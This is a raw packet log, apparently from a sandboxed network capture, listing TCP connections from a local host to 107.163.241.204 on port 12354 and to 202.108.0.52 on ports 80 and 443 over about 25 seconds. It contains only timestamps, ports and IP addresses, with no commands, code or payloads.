Dec 11, 2024 16:26:07.937913895 CET	80	56383	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:07.937953949 CET	12354	56384	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:09.404551983 CET	80	56383	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:09.404639006 CET	56383	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:09.409296036 CET	58183	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:09.409338951 CET	443	58183	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:09.409404039 CET	58183	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:09.409992933 CET	58183	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:09.410011053 CET	443	58183	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:09.815423965 CET	12354	56340	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:09.815489054 CET	56340	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:09.854996920 CET	56340	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:09.855583906 CET	58345	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:09.939364910 CET	12354	56384	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:09.944581985 CET	56384	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:09.969681025 CET	56384	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:09.976238012 CET	12354	56340	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:09.976527929 CET	12354	58345	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:09.976707935 CET	58345	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:10.091239929 CET	12354	56384	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:10.187812090 CET	58345	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:10.285603046 CET	58350	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:10.307535887 CET	12354	58345	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:10.405699968 CET	12354	58350	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:10.405936956 CET	58350	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:10.408835888 CET	58350	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:10.528546095 CET	12354	58350	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:11.101120949 CET	443	58183	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:11.101200104 CET	58183	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:11.101875067 CET	443	58183	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:11.101983070 CET	58183	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:11.105318069 CET	58183	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:11.105379105 CET	443	58183	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:11.105500937 CET	443	58183	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:11.105523109 CET	58183	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:11.105561018 CET	58183	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:11.224863052 CET	56383	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:11.225351095 CET	58881	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:11.348517895 CET	80	58881	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:11.348613977 CET	58881	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:11.349060059 CET	58881	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:11.349688053 CET	80	56383	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:11.349741936 CET	56383	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:11.468434095 CET	80	58881	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:11.581670046 CET	58881	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:11.581693888 CET	58350	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:11.581720114 CET	58345	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:11.582669020 CET	59128	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:11.701258898 CET	59213	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:11.701477051 CET	59214	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:11.704293966 CET	12354	59128	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:11.704363108 CET	59128	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:11.705681086 CET	59128	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:11.820601940 CET	12354	59213	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:11.820894003 CET	80	59214	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:11.820943117 CET	59213	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:11.820943117 CET	59214	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:11.821450949 CET	59213	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:11.821450949 CET	59214	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:11.825023890 CET	12354	59128	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:11.940660954 CET	12354	59213	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:11.940742970 CET	80	59214	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:13.392570019 CET	80	59214	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:13.392656088 CET	59214	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:13.396671057 CET	60244	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:13.396714926 CET	443	60244	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:13.396768093 CET	60244	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:13.397792101 CET	60244	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:13.397814035 CET	443	60244	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:13.814359903 CET	12354	59128	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:13.814424038 CET	59128	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:13.815100908 CET	59128	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:13.815591097 CET	60550	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:13.922477007 CET	12354	59213	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:13.922594070 CET	59213	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:13.924823046 CET	59213	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:13.933331966 CET	60645	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:13.935381889 CET	12354	59128	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:13.935396910 CET	12354	60550	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:13.935534000 CET	60550	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:13.939318895 CET	60550	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:14.045104980 CET	12354	59213	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:14.053152084 CET	12354	60645	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:14.053708076 CET	60645	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:14.054172993 CET	60645	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:14.059050083 CET	12354	60550	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:14.174684048 CET	12354	60645	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:15.714567900 CET	60550	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:15.714631081 CET	60244	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:15.714726925 CET	60645	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:15.717416048 CET	61837	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:15.836822033 CET	59214	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:15.837013006 CET	12354	61837	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:15.837076902 CET	61837	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:15.837100029 CET	61877	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:15.838260889 CET	61878	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:15.838434935 CET	61837	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:15.958151102 CET	80	61877	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:15.958240986 CET	80	59214	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:15.958275080 CET	61877	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:15.958317995 CET	59214	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:15.958798885 CET	61877	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:15.959163904 CET	12354	61878	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:15.959197044 CET	12354	61837	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:15.959230900 CET	61878	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:15.959661007 CET	61878	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:16.078363895 CET	80	61877	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:16.079145908 CET	12354	61878	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:17.516890049 CET	80	61877	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:17.516942024 CET	61877	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:17.536436081 CET	63507	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:17.536469936 CET	443	63507	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:17.536549091 CET	63507	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:17.536901951 CET	63507	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:17.536911011 CET	443	63507	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:17.954596043 CET	12354	61837	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:17.954783916 CET	61837	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:17.955389023 CET	61837	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:17.955961943 CET	63820	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:18.174974918 CET	12354	61878	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:18.175391912 CET	61878	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:18.175391912 CET	61878	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:18.175988913 CET	63928	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:18.293687105 CET	12354	61837	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:18.293704987 CET	12354	63820	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:18.294013977 CET	63820	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:18.294013977 CET	63820	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:18.417747974 CET	12354	61878	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:18.417759895 CET	12354	63928	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:18.418014050 CET	63928	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:18.418582916 CET	12354	63820	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:18.433058023 CET	63928	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:18.554194927 CET	12354	63928	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:19.421559095 CET	443	63507	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:19.421647072 CET	63507	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:19.422333002 CET	443	63507	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:19.422391891 CET	63507	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:19.425841093 CET	63507	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:19.425898075 CET	443	63507	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:19.425961971 CET	63507	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:19.536228895 CET	61877	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:19.536859035 CET	65375	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:19.656852961 CET	80	61877	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:19.656925917 CET	61877	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:19.657118082 CET	80	65375	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:19.657186031 CET	65375	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:19.657546043 CET	65375	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:19.721040964 CET	65375	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:19.721076012 CET	63928	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:19.721103907 CET	63820	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:19.721667051 CET	49227	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:19.777837992 CET	80	65375	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:19.777882099 CET	65375	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:19.837106943 CET	49286	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:19.838135004 CET	49288	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:19.841640949 CET	12354	49227	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:19.841711998 CET	49227	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:19.842334032 CET	49227	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:19.957341909 CET	12354	49286	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:19.957417965 CET	49286	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:19.957986116 CET	49286	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:19.957994938 CET	80	49288	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:19.958081961 CET	49288	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:19.958363056 CET	49288	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:19.961663961 CET	12354	49227	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:20.078850985 CET	12354	49286	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:20.079202890 CET	80	49288	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:21.523210049 CET	80	49288	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:21.523695946 CET	49288	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:21.526885033 CET	50555	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:21.526925087 CET	443	50555	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:21.527009964 CET	50555	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:21.527283907 CET	50555	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:21.527296066 CET	443	50555	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:21.956537962 CET	12354	49227	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:21.956589937 CET	49227	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:21.959744930 CET	49227	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:21.960535049 CET	51179	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:22.064088106 CET	12354	49286	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:22.064152002 CET	49286	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:22.065299988 CET	49286	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:22.068994999 CET	51231	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:22.080049038 CET	12354	49227	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:22.080821037 CET	12354	51179	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:22.080884933 CET	51179	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:22.081471920 CET	51179	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:22.184695959 CET	12354	49286	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:22.188318014 CET	12354	51231	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:22.188431978 CET	51231	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:22.200964928 CET	12354	51179	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:22.208203077 CET	51231	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:22.327615976 CET	12354	51231	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:23.404344082 CET	443	50555	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:23.404486895 CET	50555	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:23.405071020 CET	443	50555	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:23.405133009 CET	50555	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:23.407989025 CET	50555	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:23.408040047 CET	443	50555	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:23.408175945 CET	443	50555	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:23.408196926 CET	50555	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:23.408277988 CET	50555	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:23.519934893 CET	49288	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:23.520307064 CET	52401	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:23.639899015 CET	80	52401	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:23.640011072 CET	52401	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:23.640038013 CET	80	49288	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:23.640414000 CET	49288	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:23.640418053 CET	52401	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:23.736150980 CET	51231	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:23.736160040 CET	52401	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:23.736202002 CET	51179	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:23.737031937 CET	52745	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:23.759758949 CET	80	52401	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:23.759951115 CET	52401	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:23.851859093 CET	52943	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:23.852361917 CET	52941	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:23.857372046 CET	12354	52745	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:23.857472897 CET	52745	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:23.857891083 CET	52745	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:23.971259117 CET	12354	52943	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:23.971327066 CET	52943	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:23.971672058 CET	80	52941	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:23.971852064 CET	52941	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:23.973294020 CET	52943	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:23.974610090 CET	52941	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:23.977143049 CET	12354	52745	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:24.092583895 CET	12354	52943	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:24.094053984 CET	80	52941	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:25.525245905 CET	80	52941	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:25.525696993 CET	52941	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:25.529078007 CET	54516	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:25.529125929 CET	443	54516	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:25.529968023 CET	54516	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:25.529968023 CET	54516	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:25.530019999 CET	443	54516	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:25.970525980 CET	12354	52745	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:25.970592976 CET	52745	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:26.012893915 CET	52745	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:26.013508081 CET	55099	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:26.078154087 CET	12354	52943	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:26.078214884 CET	52943	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:26.104202986 CET	52943	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:26.132122993 CET	12354	52745	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:26.133030891 CET	12354	55099	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:26.133093119 CET	55099	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:26.159903049 CET	55099	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:26.223805904 CET	12354	52943	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:26.243391991 CET	55105	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:26.280142069 CET	12354	55099	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:26.362982035 CET	12354	55105	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:26.363102913 CET	55105	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:26.609513044 CET	55105	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:26.728960037 CET	12354	55105	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:27.237561941 CET	443	54516	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:27.237664938 CET	54516	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:27.238334894 CET	443	54516	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:27.238403082 CET	54516	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:27.241631985 CET	54516	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:27.241664886 CET	443	54516	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:27.241717100 CET	54516	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:27.356466055 CET	52941	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:27.356837034 CET	55715	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:27.476234913 CET	80	52941	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:27.476274014 CET	80	55715	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:27.476465940 CET	52941	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:27.476496935 CET	55715	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:27.476629019 CET	55715	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:27.596165895 CET	80	55715	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:27.751723051 CET	55715	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:27.751847982 CET	55105	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:27.751864910 CET	55099	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:27.752557039 CET	56148	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:27.868735075 CET	56266	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:27.869240046 CET	56267	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:27.871860981 CET	12354	56148	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:27.872030020 CET	56148	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:27.872330904 CET	56148	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:27.988567114 CET	12354	56266	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:27.988665104 CET	56266	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:27.988944054 CET	80	56267	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:27.989034891 CET	56267	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:27.989950895 CET	56266	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:27.990292072 CET	56267	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:27.992168903 CET	12354	56148	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:28.109227896 CET	12354	56266	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:28.109666109 CET	80	56267	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:29.551601887 CET	80	56267	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:29.551664114 CET	56267	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:29.554325104 CET	57011	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:29.554378986 CET	443	57011	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:29.554553032 CET	57011	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:29.554950953 CET	57011	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:29.554963112 CET	443	57011	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:30.003441095 CET	12354	56148	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:30.003504992 CET	56148	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:30.004235983 CET	56148	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:30.004874945 CET	57522	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:30.095386982 CET	12354	56266	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:30.095485926 CET	56266	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:30.095818043 CET	56266	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:30.115582943 CET	57654	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:30.123661041 CET	12354	56148	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:30.124417067 CET	12354	57522	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:30.124495029 CET	57522	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:30.124631882 CET	57522	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:30.219368935 CET	12354	56266	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:30.238074064 CET	12354	57654	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:30.238167048 CET	57654	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:30.238446951 CET	57654	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:30.246097088 CET	12354	57522	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:30.358118057 CET	12354	57654	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:31.571434021 CET	443	57011	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:31.571522951 CET	57011	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:31.572232008 CET	443	57011	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:31.572289944 CET	57011	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:31.639219999 CET	57011	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:31.639377117 CET	443	57011	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:31.639533997 CET	57011	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:32.005887032 CET	57654	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:32.006115913 CET	57522	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:32.009691000 CET	59061	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:32.075217962 CET	56267	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:32.075685024 CET	59063	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:32.120987892 CET	59074	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:32.129975080 CET	12354	59061	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:32.130049944 CET	59061	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:32.131727934 CET	59061	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:32.195417881 CET	80	59063	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:32.195499897 CET	80	56267	202.108.0.52	192.168.2.9
Dec 11, 2024 16:26:32.195585012 CET	56267	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:32.196135998 CET	59063	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:32.196829081 CET	59063	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:26:32.242383003 CET	12354	59074	107.163.241.204	192.168.2.9
Dec 11, 2024 16:26:32.243710995 CET	59074	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:32.243710995 CET	59074	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:26:32.252334118 CET	12354	59061	107.163.241.204	192.168.2.9
